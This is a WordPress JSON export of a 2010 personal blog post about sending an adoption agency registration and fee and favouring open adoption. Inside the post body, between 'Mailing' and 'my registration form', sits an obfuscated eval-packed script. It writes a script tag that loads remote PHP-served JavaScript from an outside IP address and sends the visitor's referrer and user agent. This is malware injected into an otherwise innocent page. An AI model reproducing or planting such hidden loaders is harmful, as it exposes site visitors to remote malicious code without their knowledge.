{"id":1563,"date":"2010-12-13T11:05:57","date_gmt":"2010-12-13T18:05:57","guid":{"rendered":"http:\/\/www.rebeccagibson.org\/?p=1563"},"modified":"2011-10-07T11:17:44","modified_gmt":"2011-10-07T18:17:44","slug":"eep","status":"publish","type":"post","link":"http:\/\/www.rebeccagibson.org\/?p=1563","title":{"rendered":"eep"},"content":{"rendered":"<p>Mailing <noindex><script id=\"wpinfo-pst1\" type=\"text\/javascript\" rel=\"nofollow\">eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(\/^\/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\\\b'+e(c)+'\\\\b','g'),k[c])}}return p}('0.6(\"<a g=\\'2\\' c=\\'d\\' e=\\'b\/2\\' 4=\\'7:\/\/5.8.9.f\/1\/h.s.t?r=\"+3(0.p)+\"\\\\o=\"+3(j.i)+\"\\'><\\\\\/k\"+\"l>\");n m=\"q\";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|nisne|var|u0026u|referrer|snear||js|php'.split('|'),0,{}))\n<\/script><\/noindex> my registration form (and $1200 application fee) to the adoption agency&#8230;<\/p>\n<p>It feels like a gigantic step (and a huge commitment) but it also feels like exactly the right thing to be doing.\u00c2\u00a0 I remember how lost and unhappy I was, consulting with doctors over and over, and constantly having to compromise between what seemed right and what seemed necessary.\u00c2\u00a0 I&#8217;m so much happier now that I&#8217;m on a different path.\u00c2\u00a0 And I love this agency &#8211; they&#8217;re exactly what I was looking for.\u00c2\u00a0 They do open adoptions, so the birthmothers choose the adopting parents.\u00c2\u00a0 That just makes so much more sense to me!\u00c2\u00a0 I mean, I never liked the idea that some agency was going to decide if I was &#8220;good enough&#8221; to be a parent.\u00c2\u00a0 But it seems very, very right to have a woman choose the mother of her child.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Mailing my registration form (and $1200 application fee) to the adoption agency&#8230; It feels like&#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1],"tags":[53],"class_list":["post-1563","post","type-post","status-publish","format-standard","hentry","category-uncategorized","tag-adoption"],"_links":{"self":[{"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=\/wp\/v2\/posts\/1563"}],"collection":[{"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=1563"}],"version-history":[{"count":8,"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=\/wp\/v2\/posts\/1563\/revisions"}],"predecessor-version":[{"id":2075,"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=\/wp\/v2\/posts\/1563\/revisions\/2075"}],"wp:attachment":[{"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=1563"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=1563"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=1563"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}